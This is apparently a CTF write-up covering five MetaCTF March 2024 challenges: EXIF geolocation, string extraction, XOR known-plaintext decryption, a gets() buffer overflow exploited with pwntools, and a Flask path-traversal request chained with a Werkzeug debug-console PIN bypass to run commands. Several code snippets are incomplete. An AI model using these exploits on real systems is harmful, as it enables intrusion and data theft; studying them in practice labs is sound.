️🏴 MetaCTF March 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF and Antisyphon.



MetaCTF March 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security.

Camping Adventures

My friend went camping near some beautiful lake the other day and sent me a photo, but they refuse to tell me where it was!


Can you help me figure out the name of that lake?

Simply enter the name of the lake as the flag. It does not need to be in the MetaCTF{} format.

Taking a quick look at the JPEG's metadata:

 exiftool lake.jpg | rg GPS
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Latitude                    : 39 deg 9' 7.99" N
GPS Longitude                   : 106 deg 24' 20.73" W
GPS Position

Converting that to the format more readily accepted by Google Maps—39°09'07.99"N 106°24'20.73"W—shows that this is "Emerald Lake" (somewhere in Colorado), which is the flag.

26 Dimensions

The supercomputing center just put out a program that checks physics theories for correctness. Can you figure out the answer to the universe and everything?

Perhaps it's not as smart as they claim it is, and it has the answer hardcoded?

This one is hiding in plain sight:

 strings physics-checker | rg Meta

Xylophone Network Graphics

I generated some art as a PNG image, and then encrypted the file using an 8-character-long key that was repeated.

I can't remember what it was! Can you help me decrypt the image and retrieve the flag?

According to the PNG (Portable Network Graphics) Specification, Version 1.2:

The first eight bytes of a PNG file always contain the following (decimal) values:

137 80 78 71 13 10 26 10

With an 8-character key and an 8-byte header, this is effectively a known-plaintext attack:

with open("encrypted.xpng", "rb") as i:
    encrypted = i.read()

header = (int(b) for b in "137 80 78 71 13 10 26 10".split())
key = [a ^ b for a, b in zip(encrypted[:8], header)]

chunks = (encrypted[i:i+8] for i in range(0, len(encrypted), 8))

decrypted = (
    key[i] ^ c
    for chunk in chunks
    for i, c in enumerate(chunk)

with open("decrypted.png", "wb") as o:

That decrypted PNG is:


…which, beneath the glorious WordArt, reads:


How Cool Are You?

Are you cool enough to get in? Connect via nc kubenode.mctf.io 30005 and find out.

You can grab the binary here, and the source here. Good luck.

The challenge itself greets me with something I've always known:

└─# ./chal
Whoa there, my dude. Only the truly cool are allowed in here.
What's your name? PsypherPunk
PsypherPunk, it looks like your coolness value is 6990.
I'm sorry, you're just not cool enough. Get lost!

Harsh but fair.

The input name is stored in a char[64] which is read via an unsafe gets(), which is ripe for a buffer-overflow. Specifically, your_name needs to overflow that boundary, then write exactly 1,500,000,001 into the next variable your_estimated_coolness.

Expressed as little-endian bytes, that's:

>>> int.to_bytes(1500000001, 4)[::-1]

However, it's not just 64 bytes plus that: your_name is not necessarily adjacent to your_estimated_coolness. So iterating locally using pwntools.process, it's actually 76 bytes needed to overflow:

from pwn import process, remote

p = remote("kubenode.mctf.io", 30005)

_ = p.readuntil(b"What's your name? ")

name = b"A" * 76 + int.to_bytes(1500000001, 4)[::-1]


_ = p.readuntil(b"Oh, right")


That results in:

└─# ./how-cool-are-you.py
[+] Opening connection to kubenode.mctf.io on port 30005: Done
[*] Closed connection to kubenode.mctf.io port 30005

FlaskForm Pharmaceuticals

We at FlaskForm Pharmaceuticals have been developing potions for ages, but we just developed our new website! Come check it out! Spawn an instance below to get started.

You can download the source code here.

When running this locally, the flag can be read locally via a simple LFI; remotely, however:

 curl http://dphltvzl.chals.mctf.io/products/detail \
     --request POST \
     --header 'Content-Type: application/json' \
     --data-raw '{"file":"../flag.txt"}'
{"content":"[Errno 13] Permission denied: './potion_details/../flag.txt'"}

The error is due to the Dockerfile setup:

RUN chmod 555 /app/readflag
RUN chmod 400 /app/flag.txt
RUN chown root:root /app/flag.txt
RUN chmod u+s /app/readflag

The Flask instance, however, is running in debug mode:

def start_server():
    run_simple('', 8000, app, use_reloader=True, use_debugger=True, use_evalex=True)

…so the console is available at /console but is protected by a generated PIN. Similar to the HackTheBox challenge Desynth Recruit (which I coincidentally solved not too long ago), it's possible to use wdahlenburg/werkzeug-debug-console-bypass in combination with the LFI to leak the associated details and to determine the PIN.

Once the PIN's generated, the console allows the readflag binary to be read:

>>> import os
>>> print(os.popen("/app/readflag").read())